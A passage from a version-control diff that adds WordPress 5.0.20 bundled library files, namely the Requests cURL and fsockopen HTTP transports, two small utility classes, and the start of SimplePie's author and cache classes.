+	public function &get_subrequest_handle($url, $headers, $data, $options) {
+		$this->setup_handle($url, $headers, $data, $options);
+
+		if ($options['filename'] !== false) {
+			$this->stream_handle = fopen($options['filename'], 'wb');
+		}
+
+		$this->response_data = '';
+		$this->response_bytes = 0;
+		$this->response_byte_limit = false;
+		if ($options['max_bytes'] !== false) {
+			$this->response_byte_limit = $options['max_bytes'];
+		}
+		$this->hooks = $options['hooks'];
+
+		return $this->handle;
+	}
+
+	/**
+	 * Setup the cURL handle for the given data
+	 *
+	 * @param string $url URL to request
+	 * @param array $headers Associative array of request headers
+	 * @param string|array $data Data to send either as the POST body, or as parameters in the URL for a GET/HEAD
+	 * @param array $options Request options, see {@see Requests::response()} for documentation
+	 */
+	protected function setup_handle($url, $headers, $data, $options) {
+		$options['hooks']->dispatch('curl.before_request', array(&$this->handle));
+
+		// Force closing the connection for old versions of cURL (<7.22).
+		if ( ! isset( $headers['Connection'] ) ) {
+			$headers['Connection'] = 'close';
+		}
+
+		$headers = Requests::flatten($headers);
+
+		if (!empty($data)) {
+			$data_format = $options['data_format'];
+
+			if ($data_format === 'query') {
+				$url = self::format_get($url, $data);
+				$data = '';
+			}
+			elseif (!is_string($data)) {
+				$data = http_build_query($data, null, '&');
+			}
+		}
+
+		switch ($options['type']) {
+			case Requests::POST:
+				curl_setopt($this->handle, CURLOPT_POST, true);
+				curl_setopt($this->handle, CURLOPT_POSTFIELDS, $data);
+				break;
+			case Requests::HEAD:
+				curl_setopt($this->handle, CURLOPT_CUSTOMREQUEST, $options['type']);
+				curl_setopt($this->handle, CURLOPT_NOBODY, true);
+				break;
+			case Requests::TRACE:
+				curl_setopt($this->handle, CURLOPT_CUSTOMREQUEST, $options['type']);
+				break;
+			case Requests::PATCH:
+			case Requests::PUT:
+			case Requests::DELETE:
+			case Requests::OPTIONS:
+			default:
+				curl_setopt($this->handle, CURLOPT_CUSTOMREQUEST, $options['type']);
+				if (!empty($data)) {
+					curl_setopt($this->handle, CURLOPT_POSTFIELDS, $data);
+				}
+		}
+
+		// cURL requires a minimum timeout of 1 second when using the system
+		// DNS resolver, as it uses `alarm()`, which is second resolution only.
+		// There's no way to detect which DNS resolver is being used from our
+		// end, so we need to round up regardless of the supplied timeout.
+		//
+		// https://github.com/curl/curl/blob/4f45240bc84a9aa648c8f7243be7b79e9f9323a5/lib/hostip.c#L606-L609
+		$timeout = max($options['timeout'], 1);
+
+		if (is_int($timeout) || $this->version < self::CURL_7_16_2) {
+			curl_setopt($this->handle, CURLOPT_TIMEOUT, ceil($timeout));
+		}
+		else {
+			curl_setopt($this->handle, CURLOPT_TIMEOUT_MS, round($timeout * 1000));
+		}
+
+		if (is_int($options['connect_timeout']) || $this->version < self::CURL_7_16_2) {
+			curl_setopt($this->handle, CURLOPT_CONNECTTIMEOUT, ceil($options['connect_timeout']));
+		}
+		else {
+			curl_setopt($this->handle, CURLOPT_CONNECTTIMEOUT_MS, round($options['connect_timeout'] * 1000));
+		}
+		curl_setopt($this->handle, CURLOPT_URL, $url);
+		curl_setopt($this->handle, CURLOPT_REFERER, $url);
+		curl_setopt($this->handle, CURLOPT_USERAGENT, $options['useragent']);
+		if (!empty($headers)) {
+			curl_setopt($this->handle, CURLOPT_HTTPHEADER, $headers);
+		}
+		if ($options['protocol_version'] === 1.1) {
+			curl_setopt($this->handle, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1);
+		}
+		else {
+			curl_setopt($this->handle, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0);
+		}
+
+		if (true === $options['blocking']) {
+			curl_setopt($this->handle, CURLOPT_HEADERFUNCTION, array(&$this, 'stream_headers'));
+			curl_setopt($this->handle, CURLOPT_WRITEFUNCTION, array(&$this, 'stream_body'));
+			curl_setopt($this->handle, CURLOPT_BUFFERSIZE, Requests::BUFFER_SIZE);
+		}
+	}
+
+	/**
+	 * Process a response
+	 *
+	 * @param string $response Response data from the body
+	 * @param array $options Request options
+	 * @return string HTTP response data including headers
+	 */
+	public function process_response($response, $options) {
+		if ($options['blocking'] === false) {
+			$fake_headers = '';
+			$options['hooks']->dispatch('curl.after_request', array(&$fake_headers));
+			return false;
+		}
+		if ($options['filename'] !== false) {
+			fclose($this->stream_handle);
+			$this->headers = trim($this->headers);
+		}
+		else {
+			$this->headers .= $response;
+		}
+
+		if (curl_errno($this->handle)) {
+			$error = sprintf(
+				'cURL error %s: %s',
+				curl_errno($this->handle),
+				curl_error($this->handle)
+			);
+			throw new Requests_Exception($error, 'curlerror', $this->handle);
+		}
+		$this->info = curl_getinfo($this->handle);
+
+		$options['hooks']->dispatch('curl.after_request', array(&$this->headers, &$this->info));
+		return $this->headers;
+	}
+
+	/**
+	 * Collect the headers as they are received
+	 *
+	 * @param resource $handle cURL resource
+	 * @param string $headers Header string
+	 * @return integer Length of provided header
+	 */
+	public function stream_headers($handle, $headers) {
+		// Why do we do this? cURL will send both the final response and any
+		// interim responses, such as a 100 Continue. We don't need that.
+		// (We may want to keep this somewhere just in case)
+		if ($this->done_headers) {
+			$this->headers = '';
+			$this->done_headers = false;
+		}
+		$this->headers .= $headers;
+
+		if ($headers === "\r\n") {
+			$this->done_headers = true;
+		}
+		return strlen($headers);
+	}
+
+	/**
+	 * Collect data as it's received
+	 *
+	 * @since 1.6.1
+	 *
+	 * @param resource $handle cURL resource
+	 * @param string $data Body data
+	 * @return integer Length of provided data
+	 */
+	public function stream_body($handle, $data) {
+		$this->hooks->dispatch('request.progress', array($data, $this->response_bytes, $this->response_byte_limit));
+		$data_length = strlen($data);
+
+		// Are we limiting the response size?
+		if ($this->response_byte_limit) {
+			if ($this->response_bytes === $this->response_byte_limit) {
+				// Already at maximum, move on
+				return $data_length;
+			}
+
+			if (($this->response_bytes + $data_length) > $this->response_byte_limit) {
+				// Limit the length
+				$limited_length = ($this->response_byte_limit - $this->response_bytes);
+				$data = substr($data, 0, $limited_length);
+			}
+		}
+
+		if ($this->stream_handle) {
+			fwrite($this->stream_handle, $data);
+		}
+		else {
+			$this->response_data .= $data;
+		}
+
+		$this->response_bytes += strlen($data);
+		return $data_length;
+	}
+
+	/**
+	 * Format a URL given GET data
+	 *
+	 * @param string $url
+	 * @param array|object $data Data to build query using, see {@see https://secure.php.net/http_build_query}
+	 * @return string URL with data
+	 */
+	protected static function format_get($url, $data) {
+		if (!empty($data)) {
+			$url_parts = parse_url($url);
+			if (empty($url_parts['query'])) {
+				$query = $url_parts['query'] = '';
+			}
+			else {
+				$query = $url_parts['query'];
+			}
+
+			$query .= '&' . http_build_query($data, null, '&');
+			$query = trim($query, '&');
+
+			if (empty($url_parts['query'])) {
+				$url .= '?' . $query;
+			}
+			else {
+				$url = str_replace($url_parts['query'], $query, $url);
+			}
+		}
+		return $url;
+	}
+
+	/**
+	 * Whether this transport is valid
+	 *
+	 * @codeCoverageIgnore
+	 * @return boolean True if the transport is valid, false otherwise.
+	 */
+	public static function test($capabilities = array()) {
+		if (!function_exists('curl_init') || !function_exists('curl_exec')) {
+			return false;
+		}
+
+		// If needed, check that our installed curl version supports SSL
+		if (isset($capabilities['ssl']) && $capabilities['ssl']) {
+			$curl_version = curl_version();
+			if (!(CURL_VERSION_SSL & $curl_version['features'])) {
+				return false;
+			}
+		}
+
+		return true;
+	}
+}
Index: /tags/5.0.20/src/wp-includes/Requests/Transport/fsockopen.php
===================================================================
--- /tags/5.0.20/src/wp-includes/Requests/Transport/fsockopen.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/Requests/Transport/fsockopen.php	(revision 56912)
@@ -0,0 +1,444 @@
+<?php
+/**
+ * fsockopen HTTP transport
+ *
+ * @package Requests
+ * @subpackage Transport
+ */
+
+/**
+ * fsockopen HTTP transport
+ *
+ * @package Requests
+ * @subpackage Transport
+ */
+class Requests_Transport_fsockopen implements Requests_Transport {
+	/**
+	 * Second to microsecond conversion
+	 *
+	 * @var integer
+	 */
+	const SECOND_IN_MICROSECONDS = 1000000;
+
+	/**
+	 * Raw HTTP data
+	 *
+	 * @var string
+	 */
+	public $headers = '';
+
+	/**
+	 * Stream metadata
+	 *
+	 * @var array Associative array of properties, see {@see https://secure.php.net/stream_get_meta_data}
+	 */
+	public $info;
+
+	/**
+	 * What's the maximum number of bytes we should keep?
+	 *
+	 * @var int|bool Byte count, or false if no limit.
+	 */
+	protected $max_bytes = false;
+
+	protected $connect_error = '';
+
+	/**
+	 * Perform a request
+	 *
+	 * @throws Requests_Exception On failure to connect to socket (`fsockopenerror`)
+	 * @throws Requests_Exception On socket timeout (`timeout`)
+	 *
+	 * @param string $url URL to request
+	 * @param array $headers Associative array of request headers
+	 * @param string|array $data Data to send either as the POST body, or as parameters in the URL for a GET/HEAD
+	 * @param array $options Request options, see {@see Requests::response()} for documentation
+	 * @return string Raw HTTP result
+	 */
+	public function request($url, $headers = array(), $data = array(), $options = array()) {
+		$options['hooks']->dispatch('fsockopen.before_request');
+
+		$url_parts = parse_url($url);
+		if (empty($url_parts)) {
+			throw new Requests_Exception('Invalid URL.', 'invalidurl', $url);
+		}
+		$host = $url_parts['host'];
+		$context = stream_context_create();
+		$verifyname = false;
+		$case_insensitive_headers = new Requests_Utility_CaseInsensitiveDictionary($headers);
+
+		// HTTPS support
+		if (isset($url_parts['scheme']) && strtolower($url_parts['scheme']) === 'https') {
+			$remote_socket = 'ssl://' . $host;
+			if (!isset($url_parts['port'])) {
+				$url_parts['port'] = 443;
+			}
+
+			$context_options = array(
+				'verify_peer' => true,
+				// 'CN_match' => $host,
+				'capture_peer_cert' => true
+			);
+			$verifyname = true;
+
+			// SNI, if enabled (OpenSSL >=0.9.8j)
+			if (defined('OPENSSL_TLSEXT_SERVER_NAME') && OPENSSL_TLSEXT_SERVER_NAME) {
+				$context_options['SNI_enabled'] = true;
+				if (isset($options['verifyname']) && $options['verifyname'] === false) {
+					$context_options['SNI_enabled'] = false;
+				}
+			}
+
+			if (isset($options['verify'])) {
+				if ($options['verify'] === false) {
+					$context_options['verify_peer'] = false;
+				}
+				elseif (is_string($options['verify'])) {
+					$context_options['cafile'] = $options['verify'];
+				}
+			}
+
+			if (isset($options['verifyname']) && $options['verifyname'] === false) {
+				$context_options['verify_peer_name'] = false;
+				$verifyname = false;
+			}
+
+			stream_context_set_option($context, array('ssl' => $context_options));
+		}
+		else {
+			$remote_socket = 'tcp://' . $host;
+		}
+
+		$this->max_bytes = $options['max_bytes'];
+
+		if (!isset($url_parts['port'])) {
+			$url_parts['port'] = 80;
+		}
+		$remote_socket .= ':' . $url_parts['port'];
+
+		set_error_handler(array($this, 'connect_error_handler'), E_WARNING | E_NOTICE);
+
+		$options['hooks']->dispatch('fsockopen.remote_socket', array(&$remote_socket));
+
+		$socket = stream_socket_client($remote_socket, $errno, $errstr, ceil($options['connect_timeout']), STREAM_CLIENT_CONNECT, $context);
+
+		restore_error_handler();
+
+		if ($verifyname && !$this->verify_certificate_from_context($host, $context)) {
+			throw new Requests_Exception('SSL certificate did not match the requested domain name', 'ssl.no_match');
+		}
+
+		if (!$socket) {
+			if ($errno === 0) {
+				// Connection issue
+				throw new Requests_Exception(rtrim($this->connect_error), 'fsockopen.connect_error');
+			}
+
+			throw new Requests_Exception($errstr, 'fsockopenerror', null, $errno);
+		}
+
+		$data_format = $options['data_format'];
+
+		if ($data_format === 'query') {
+			$path = self::format_get($url_parts, $data);
+			$data = '';
+		}
+		else {
+			$path = self::format_get($url_parts, array());
+		}
+
+		$options['hooks']->dispatch('fsockopen.remote_host_path', array(&$path, $url));
+
+		$request_body = '';
+		$out = sprintf("%s %s HTTP/%.1f\r\n", $options['type'], $path, $options['protocol_version']);
+
+		if ($options['type'] !== Requests::TRACE) {
+			if (is_array($data)) {
+				$request_body = http_build_query($data, null, '&');
+			}
+			else {
+				$request_body = $data;
+			}
+
+			if (!empty($data)) {
+				if (!isset($case_insensitive_headers['Content-Length'])) {
+					$headers['Content-Length'] = strlen($request_body);
+				}
+
+				if (!isset($case_insensitive_headers['Content-Type'])) {
+					$headers['Content-Type'] = 'application/x-www-form-urlencoded; charset=UTF-8';
+				}
+			}
+		}
+
+		if (!isset($case_insensitive_headers['Host'])) {
+			$out .= sprintf('Host: %s', $url_parts['host']);
+
+			if (( 'http' === strtolower($url_parts['scheme']) && $url_parts['port'] !== 80 ) || ( 'https' === strtolower($url_parts['scheme']) && $url_parts['port'] !== 443 )) {
+				$out .= ':' . $url_parts['port'];
+			}
+			$out .= "\r\n";
+		}
+
+		if (!isset($case_insensitive_headers['User-Agent'])) {
+			$out .= sprintf("User-Agent: %s\r\n", $options['useragent']);
+		}
+
+		$accept_encoding = $this->accept_encoding();
+		if (!isset($case_insensitive_headers['Accept-Encoding']) && !empty($accept_encoding)) {
+			$out .= sprintf("Accept-Encoding: %s\r\n", $accept_encoding);
+		}
+
+		$headers = Requests::flatten($headers);
+
+		if (!empty($headers)) {
+			$out .= implode($headers, "\r\n") . "\r\n";
+		}
+
+		$options['hooks']->dispatch('fsockopen.after_headers', array(&$out));
+
+		if (substr($out, -2) !== "\r\n") {
+			$out .= "\r\n";
+		}
+
+		if (!isset($case_insensitive_headers['Connection'])) {
+			$out .= "Connection: Close\r\n";
+		}
+
+		$out .= "\r\n" . $request_body;
+
+		$options['hooks']->dispatch('fsockopen.before_send', array(&$out));
+
+		fwrite($socket, $out);
+		$options['hooks']->dispatch('fsockopen.after_send', array($out));
+
+		if (!$options['blocking']) {
+			fclose($socket);
+			$fake_headers = '';
+			$options['hooks']->dispatch('fsockopen.after_request', array(&$fake_headers));
+			return '';
+		}
+
+		$timeout_sec = (int) floor($options['timeout']);
+		if ($timeout_sec == $options['timeout']) {
+			$timeout_msec = 0;
+		}
+		else {
+			$timeout_msec = self::SECOND_IN_MICROSECONDS * $options['timeout'] % self::SECOND_IN_MICROSECONDS;
+		}
+		stream_set_timeout($socket, $timeout_sec, $timeout_msec);
+
+		$response = $body = $headers = '';
+		$this->info = stream_get_meta_data($socket);
+		$size = 0;
+		$doingbody = false;
+		$download = false;
+		if ($options['filename']) {
+			$download = fopen($options['filename'], 'wb');
+		}
+
+		while (!feof($socket)) {
+			$this->info = stream_get_meta_data($socket);
+			if ($this->info['timed_out']) {
+				throw new Requests_Exception('fsocket timed out', 'timeout');
+			}
+
+			$block = fread($socket, Requests::BUFFER_SIZE);
+			if (!$doingbody) {
+				$response .= $block;
+				if (strpos($response, "\r\n\r\n")) {
+					list($headers, $block) = explode("\r\n\r\n", $response, 2);
+					$doingbody = true;
+				}
+			}
+
+			// Are we in body mode now?
+			if ($doingbody) {
+				$options['hooks']->dispatch('request.progress', array($block, $size, $this->max_bytes));
+				$data_length = strlen($block);
+				if ($this->max_bytes) {
+					// Have we already hit a limit?
+					if ($size === $this->max_bytes) {
+						continue;
+					}
+					if (($size + $data_length) > $this->max_bytes) {
+						// Limit the length
+						$limited_length = ($this->max_bytes - $size);
+						$block = substr($block, 0, $limited_length);
+					}
+				}
+
+				$size += strlen($block);
+				if ($download) {
+					fwrite($download, $block);
+				}
+				else {
+					$body .= $block;
+				}
+			}
+		}
+		$this->headers = $headers;
+
+		if ($download) {
+			fclose($download);
+		}
+		else {
+			$this->headers .= "\r\n\r\n" . $body;
+		}
+		fclose($socket);
+
+		$options['hooks']->dispatch('fsockopen.after_request', array(&$this->headers, &$this->info));
+		return $this->headers;
+	}
+
+	/**
+	 * Send multiple requests simultaneously
+	 *
+	 * @param array $requests Request data (array of 'url', 'headers', 'data', 'options') as per {@see Requests_Transport::request}
+	 * @param array $options Global options, see {@see Requests::response()} for documentation
+	 * @return array Array of Requests_Response objects (may contain Requests_Exception or string responses as well)
+	 */
+	public function request_multiple($requests, $options) {
+		$responses = array();
+		$class = get_class($this);
+		foreach ($requests as $id => $request) {
+			try {
+				$handler = new $class();
+				$responses[$id] = $handler->request($request['url'], $request['headers'], $request['data'], $request['options']);
+
+				$request['options']['hooks']->dispatch('transport.internal.parse_response', array(&$responses[$id], $request));
+			}
+			catch (Requests_Exception $e) {
+				$responses[$id] = $e;
+			}
+
+			if (!is_string($responses[$id])) {
+				$request['options']['hooks']->dispatch('multiple.request.complete', array(&$responses[$id], $id));
+			}
+		}
+
+		return $responses;
+	}
+
+	/**
+	 * Retrieve the encodings we can accept
+	 *
+	 * @return string Accept-Encoding header value
+	 */
+	protected static function accept_encoding() {
+		$type = array();
+		if (function_exists('gzinflate')) {
+			$type[] = 'deflate;q=1.0';
+		}
+
+		if (function_exists('gzuncompress')) {
+			$type[] = 'compress;q=0.5';
+		}
+
+		$type[] = 'gzip;q=0.5';
+
+		return implode(', ', $type);
+	}
+
+	/**
+	 * Format a URL given GET data
+	 *
+	 * @param array $url_parts
+	 * @param array|object $data Data to build query using, see {@see https://secure.php.net/http_build_query}
+	 * @return string URL with data
+	 */
+	protected static function format_get($url_parts, $data) {
+		if (!empty($data)) {
+			if (empty($url_parts['query'])) {
+				$url_parts['query'] = '';
+			}
+
+			$url_parts['query'] .= '&' . http_build_query($data, null, '&');
+			$url_parts['query'] = trim($url_parts['query'], '&');
+		}
+		if (isset($url_parts['path'])) {
+			if (isset($url_parts['query'])) {
+				$get = $url_parts['path'] . '?' . $url_parts['query'];
+			}
+			else {
+				$get = $url_parts['path'];
+			}
+		}
+		else {
+			$get = '/';
+		}
+		return $get;
+	}
+
+	/**
+	 * Error handler for stream_socket_client()
+	 *
+	 * @param int $errno Error number (e.g. E_WARNING)
+	 * @param string $errstr Error message
+	 */
+	public function connect_error_handler($errno, $errstr) {
+		// Double-check we can handle it
+		if (($errno & E_WARNING) === 0 && ($errno & E_NOTICE) === 0) {
+			// Return false to indicate the default error handler should engage
+			return false;
+		}
+
+		$this->connect_error .= $errstr . "\n";
+		return true;
+	}
+
+	/**
+	 * Verify the certificate against common name and subject alternative names
+	 *
+	 * Unfortunately, PHP doesn't check the certificate against the alternative
+	 * names, leading things like 'https://www.github.com/' to be invalid.
+	 * Instead
+	 *
+	 * @see https://tools.ietf.org/html/rfc2818#section-3.1 RFC2818, Section 3.1
+	 *
+	 * @throws Requests_Exception On failure to connect via TLS (`fsockopen.ssl.connect_error`)
+	 * @throws Requests_Exception On not obtaining a match for the host (`fsockopen.ssl.no_match`)
+	 * @param string $host Host name to verify against
+	 * @param resource $context Stream context
+	 * @return bool
+	 */
+	public function verify_certificate_from_context($host, $context) {
+		$meta = stream_context_get_options($context);
+
+		// If we don't have SSL options, then we couldn't make the connection at
+		// all
+		if (empty($meta) || empty($meta['ssl']) || empty($meta['ssl']['peer_certificate'])) {
+			throw new Requests_Exception(rtrim($this->connect_error), 'ssl.connect_error');
+		}
+
+		$cert = openssl_x509_parse($meta['ssl']['peer_certificate']);
+
+		return Requests_SSL::verify_certificate($host, $cert);
+	}
+
+	/**
+	 * Whether this transport is valid
+	 *
+	 * @codeCoverageIgnore
+	 * @return boolean True if the transport is valid, false otherwise.
+	 */
+	public static function test($capabilities = array()) {
+		if (!function_exists('fsockopen')) {
+			return false;
+		}
+
+		// If needed, check that streams support SSL
+		if (isset($capabilities['ssl']) && $capabilities['ssl']) {
+			if (!extension_loaded('openssl') || !function_exists('openssl_x509_parse')) {
+				return false;
+			}
+
+			// Currently broken, thanks to https://github.com/facebook/hhvm/issues/2156
+			if (defined('HHVM_VERSION')) {
+				return false;
+			}
+		}
+
+		return true;
+	}
+}
Index: /tags/5.0.20/src/wp-includes/Requests/Utility/CaseInsensitiveDictionary.php
===================================================================
--- /tags/5.0.20/src/wp-includes/Requests/Utility/CaseInsensitiveDictionary.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/Requests/Utility/CaseInsensitiveDictionary.php	(revision 56912)
@@ -0,0 +1,103 @@
+<?php
+/**
+ * Case-insensitive dictionary, suitable for HTTP headers
+ *
+ * @package Requests
+ * @subpackage Utilities
+ */
+
+/**
+ * Case-insensitive dictionary, suitable for HTTP headers
+ *
+ * @package Requests
+ * @subpackage Utilities
+ */
+class Requests_Utility_CaseInsensitiveDictionary implements ArrayAccess, IteratorAggregate {
+	/**
+	 * Actual item data
+	 *
+	 * @var array
+	 */
+	protected $data = array();
+
+	/**
+	 * Creates a case insensitive dictionary.
+	 *
+	 * @param array $data Dictionary/map to convert to case-insensitive
+	 */
+	public function __construct(array $data = array()) {
+		foreach ($data as $key => $value) {
+			$this->offsetSet($key, $value);
+		}
+	}
+
+	/**
+	 * Check if the given item exists
+	 *
+	 * @param string $key Item key
+	 * @return boolean Does the item exist?
+	 */
+	public function offsetExists($key) {
+		$key = strtolower($key);
+		return isset($this->data[$key]);
+	}
+
+	/**
+	 * Get the value for the item
+	 *
+	 * @param string $key Item key
+	 * @return string Item value
+	 */
+	public function offsetGet($key) {
+		$key = strtolower($key);
+		if (!isset($this->data[$key])) {
+			return null;
+		}
+
+		return $this->data[$key];
+	}
+
+	/**
+	 * Set the given item
+	 *
+	 * @throws Requests_Exception On attempting to use dictionary as list (`invalidset`)
+	 *
+	 * @param string $key Item name
+	 * @param string $value Item value
+	 */
+	public function offsetSet($key, $value) {
+		if ($key === null) {
+			throw new Requests_Exception('Object is a dictionary, not a list', 'invalidset');
+		}
+
+		$key = strtolower($key);
+		$this->data[$key] = $value;
+	}
+
+	/**
+	 * Unset the given header
+	 *
+	 * @param string $key
+	 */
+	public function offsetUnset($key) {
+		unset($this->data[strtolower($key)]);
+	}
+
+	/**
+	 * Get an iterator for the data
+	 *
+	 * @return ArrayIterator
+	 */
+	public function getIterator() {
+		return new ArrayIterator($this->data);
+	}
+
+	/**
+	 * Get the headers as an array
+	 *
+	 * @return array Header data
+	 */
+	public function getAll() {
+		return $this->data;
+	}
+}
Index: /tags/5.0.20/src/wp-includes/Requests/Utility/FilteredIterator.php
===================================================================
--- /tags/5.0.20/src/wp-includes/Requests/Utility/FilteredIterator.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/Requests/Utility/FilteredIterator.php	(revision 56912)
@@ -0,0 +1,46 @@
+<?php
+/**
+ * Iterator for arrays requiring filtered values
+ *
+ * @package Requests
+ * @subpackage Utilities
+ */
+
+/**
+ * Iterator for arrays requiring filtered values
+ *
+ * @package Requests
+ * @subpackage Utilities
+ */
+class Requests_Utility_FilteredIterator extends ArrayIterator {
+	/**
+	 * Callback to run as a filter
+	 *
+	 * @var callable
+	 */
+	protected $callback;
+
+	/**
+	 * Create a new iterator
+	 *
+	 * @param array $data
+	 * @param callable $callback Callback to be called on each value
+	 */
+	public function __construct($data, $callback) {
+		parent::__construct($data);
+
+		$this->callback = $callback;
+	}
+
+	/**
+	 * Get the current item's value after filtering
+	 *
+	 * @return string
+	 */
+	public function current() {
+		$value = parent::current();
+		$value = call_user_func($this->callback, $value);
+		return $value;
+	}
+
+}
Index: /tags/5.0.20/src/wp-includes/SimplePie/Author.php
===================================================================
--- /tags/5.0.20/src/wp-includes/SimplePie/Author.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/SimplePie/Author.php	(revision 56912)
@@ -0,0 +1,157 @@
+<?php
+/**
+ * SimplePie
+ *
+ * A PHP-Based RSS and Atom Feed Framework.
+ * Takes the hard work out of managing a complete RSS/Atom solution.
+ *
+ * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are
+ * permitted provided that the following conditions are met:
+ *
+ * 	* Redistributions of source code must retain the above copyright notice, this list of
+ * 	  conditions and the following disclaimer.
+ *
+ * 	* Redistributions in binary form must reproduce the above copyright notice, this list
+ * 	  of conditions and the following disclaimer in the documentation and/or other materials
+ * 	  provided with the distribution.
+ *
+ * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
+ * 	  to endorse or promote products derived from this software without specific prior
+ * 	  written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
+ * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
+ * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+ * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @package SimplePie
+ * @version 1.3.1
+ * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
+ * @author Ryan Parman
+ * @author Geoffrey Sneddon
+ * @author Ryan McCue
+ * @link http://simplepie.org/ SimplePie
+ * @license http://www.opensource.org/licenses/bsd-license.php BSD License
+ */
+
+/**
+ * Manages all author-related data
+ *
+ * Used by {@see SimplePie_Item::get_author()} and {@see SimplePie::get_authors()}
+ *
+ * This class can be overloaded with {@see SimplePie::set_author_class()}
+ *
+ * @package SimplePie
+ * @subpackage API
+ */
+class SimplePie_Author
+{
+	/**
+	 * Author's name
+	 *
+	 * @var string
+	 * @see get_name()
+	 */
+	var $name;
+
+	/**
+	 * Author's link
+	 *
+	 * @var string
+	 * @see get_link()
+	 */
+	var $link;
+
+	/**
+	 * Author's email address
+	 *
+	 * @var string
+	 * @see get_email()
+	 */
+	var $email;
+
+	/**
+	 * Constructor, used to input the data
+	 *
+	 * @param string $name
+	 * @param string $link
+	 * @param string $email
+	 */
+	public function __construct($name = null, $link = null, $email = null)
+	{
+		$this->name = $name;
+		$this->link = $link;
+		$this->email = $email;
+	}
+
+	/**
+	 * String-ified version
+	 *
+	 * @return string
+	 */
+	public function __toString()
+	{
+		// There is no $this->data here
+		return md5(serialize($this));
+	}
+
+	/**
+	 * Author's name
+	 *
+	 * @return string|null
+	 */
+	public function get_name()
+	{
+		if ($this->name !== null)
+		{
+			return $this->name;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Author's link
+	 *
+	 * @return string|null
+	 */
+	public function get_link()
+	{
+		if ($this->link !== null)
+		{
+			return $this->link;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Author's email address
+	 *
+	 * @return string|null
+	 */
+	public function get_email()
+	{
+		if ($this->email !== null)
+		{
+			return $this->email;
+		}
+		else
+		{
+			return null;
+		}
+	}
+}
+
Index: /tags/5.0.20/src/wp-includes/SimplePie/Cache.php
===================================================================
--- /tags/5.0.20/src/wp-includes/SimplePie/Cache.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/SimplePie/Cache.php	(revision 56912)
@@ -0,0 +1,133 @@
+<?php
+/**
+ * SimplePie
+ *
+ * A PHP-Based RSS and Atom Feed Framework.
+ * Takes the hard work out of managing a complete RSS/Atom solution.
+ *
+ * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are
+ * permitted provided that the following conditions are met:
+ *
+ * 	* Redistributions of source code must retain the above copyright notice, this list of
+ * 	  conditions and the following disclaimer.
+ *
+ * 	* Redistributions in binary form must reproduce the above copyright notice, this list
+ * 	  of conditions and the following disclaimer in the documentation and/or other materials
+ * 	  provided with the distribution.
+ *
+ * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
+ * 	  to endorse or promote products derived from this software without specific prior
+ * 	  written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
+ * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
+ * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+ * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @package SimplePie
+ * @version 1.3.1
+ * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
+ * @author Ryan Parman
+ * @author Geoffrey Sneddon
+ * @author Ryan McCue
+ * @link http://simplepie.org/ SimplePie
+ * @license http://www.opensource.org/licenses/bsd-license.php BSD License
+ */
+
+/**
+ * Used to create cache objects
+ *
+ * This class can be overloaded with {@see SimplePie::set_cache_class()},
+ * although the preferred way is to create your own handler
+ * via {@see register()}
+ *
+ * @package SimplePie
+ * @subpackage Caching
+ */
+class SimplePie_Cache
+{
+	/**
+	 * Cache handler classes
+	 *
+	 * These receive 3 parameters to their constructor, as documented in
+	 * {@see register()}
+	 * @var array
+	 */
+	protected static $handlers = array(
+		'mysql' => 'SimplePie_Cache_MySQL',
